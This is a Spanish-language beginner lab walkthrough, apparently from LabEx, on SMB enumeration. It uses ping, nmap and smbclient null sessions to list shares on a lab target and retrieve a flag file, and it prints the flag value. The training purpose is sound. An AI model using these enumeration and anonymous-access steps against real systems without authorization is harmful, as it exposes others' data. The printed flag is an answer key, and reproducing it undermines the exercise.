Enumeración de SMB y Acceso de Invitado

LinuxBeginner
Practicar Ahora

Introducción

Bienvenido a este laboratorio práctico centrado en la enumeración y explotación de Server Message Block (SMB). SMB es un protocolo de compartición de archivos en red que permite a las aplicaciones de un ordenador leer y escribir en archivos, así como solicitar servicios de programas de servidor en una red informática. Debido a su amplio uso, es un objetivo común para los atacantes.

En este laboratorio, te pondrás en la piel de un pentester. Comenzarás con un reconocimiento básico de la red para confirmar que el objetivo está en línea. A continuación, utilizarás la potente herramienta de escaneo nmap para descubrir un servicio SMB abierto. Finalmente, usarás smbclient para investigar el servicio, encontrar una mala configuración que permita el acceso anónimo de invitados y recuperar un flag oculto de un recurso compartido público.

Al finalizar, comprenderás cómo:

  • Verificar la conectividad de red usando ping.
  • Escanear puertos y servicios SMB abiertos usando nmap.
  • Enumerar y conectarse a recursos compartidos SMB usando smbclient.
  • Explotar una mala configuración de acceso de invitados para recuperar archivos.

Empecemos.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 85%. Ha recibido una tasa de reseñas positivas del 100% por parte de los estudiantes.

Verificar Conectividad con el Objetivo mediante Ping

En este primer paso, realizarás una tarea de reconocimiento básica: verificar que la máquina objetivo está en línea y es accesible desde tu máquina atacante. El comando ping es una utilidad estándar para esto, enviando paquetes ICMP a un host para probar si hay una respuesta.

Tu entorno incluye un sistema objetivo con el alias target. Para confirmar la conectividad, ejecuta el siguiente comando en tu terminal para enviar cuatro paquetes:

ping -c 4 target

La bandera -c 4 indica a ping que envíe exactamente cuatro paquetes y luego se detenga. Un resultado exitoso se parecerá a la siguiente salida, mostrando respuestas del objetivo. La dirección IP y los valores de tiempo pueden variar.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

Ver "4 received, 0% packet loss" confirma que tu máquina puede comunicarse con el objetivo, preparando el escenario para la siguiente fase de enumeración.

Escanear Puertos Abiertos con Nmap

En este paso, utilizarás nmap (Network Mapper) para escanear el objetivo en busca de puertos abiertos e identificar los servicios en ejecución. Este es un paso crítico para encontrar posibles vectores de ataque. Centraremos nuestro escaneo en el servicio SMB.

Ejecuta el siguiente comando nmap para realizar un escaneo de detección de versiones de servicio (-sV) y ejecutar un script (--script) para verificar los protocolos SMB en el target:

nmap -sV --script smb-protocols target

Después de unos momentos, nmap informará sus hallazgos. La salida se parecerá a esto:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

La salida confirma que los puertos 139/tcp y 445/tcp están abiertos y ejecutando el servicio Samba. El puerto 445 es el puerto moderno para SMB. Este descubrimiento es nuestra señal para investigar el servicio SMB en busca de vulnerabilidades.

Conectar al Objetivo vía SMB

En este paso, utilizarás la utilidad smbclient para interactuar con el servicio SMB en el objetivo. Tu objetivo es ver si puedes conectarte sin contraseña, una técnica conocida como "sesión nula" (null session) o inicio de sesión anónimo.

Primero, listemos los recursos compartidos (shares) disponibles en el objetivo. La bandera -L lista los servicios y la bandera -N intenta conectarse sin contraseña.

Ejecuta el siguiente comando:

smbclient -L //target -N

Si el servidor está mal configurado para permitir acceso de invitado, verás una lista de los recursos compartidos disponibles. La salida debería parecerse a esto:

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

El hallazgo clave aquí es el recurso compartido public. El nombre sugiere que podría ser accesible para cualquiera. En el siguiente paso, te conectarás a este recurso compartido para explorar su contenido.

Explorar el Sistema Objetivo y Localizar la Bandera (Flag)

En este paso final, te conectarás al recurso compartido public que descubriste y buscarás la bandera (flag). Esto simula la fase de post-explotación, donde un atacante busca datos valiosos.

Conéctate directamente al recurso compartido public usando smbclient, nuevamente utilizando la bandera -N para acceso anónimo:

smbclient //target/public -N

Una conexión exitosa te dejará en un prompt de smbclient, que se ve como smb: \>. Ahora estás navegando por el recurso compartido de archivos remoto.

Try "help" to get a list of possible commands.
smb: \>

Usa el comando ls para listar el contenido del recurso compartido:

ls

Deberías ver el archivo flag.txt listado.

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

Ahora, descarga el archivo a tu máquina local usando el comando get:

get flag.txt

Nota: La utilidad smbclient no tiene un comando cat incorporado para ver el contenido de los archivos directamente. Debes descargar el archivo primero usando get.

Una vez que la descarga se complete, escribe exit para salir de la sesión de smbclient. Finalmente, usa el comando cat en tu terminal local para mostrar el contenido de la bandera descargada.

cat flag.txt

La terminal mostrará el valor de la bandera.

labex{smb_gu3st_acc3ss_fl4g}

¡Felicitaciones! Has enumerado con éxito un servicio SMB, explotado una mala configuración de acceso de invitado y recuperado la bandera. Copia el valor de la bandera para completar el laboratorio.

Resumen

En este laboratorio, completaste con éxito un flujo de trabajo básico de prueba de penetración contra un servicio SMB mal configurado. Aprendiste y practicaste cómo:

  • Usar ping para verificar la conectividad de red con un objetivo.
  • Emplear nmap para escanear puertos abiertos e identificar el servicio SMB.
  • Usar smbclient -L para enumerar recursos compartidos de red disponibles de forma anónima.
  • Conectarse a un recurso compartido SMB abierto con smbclient utilizando una sesión nula (null session).
  • Navegar por un recurso compartido remoto y descargar archivos usando ls y get.

Este ejercicio demuestra una vulnerabilidad común y crítica: permitir el acceso anónimo o de invitado a los recursos compartidos de red. Dichas malas configuraciones pueden llevar a la exposición de datos sensibles. Al comprender cómo encontrar y explotar estas debilidades, estarás mejor preparado para asegurar tus propios sistemas contra ellas.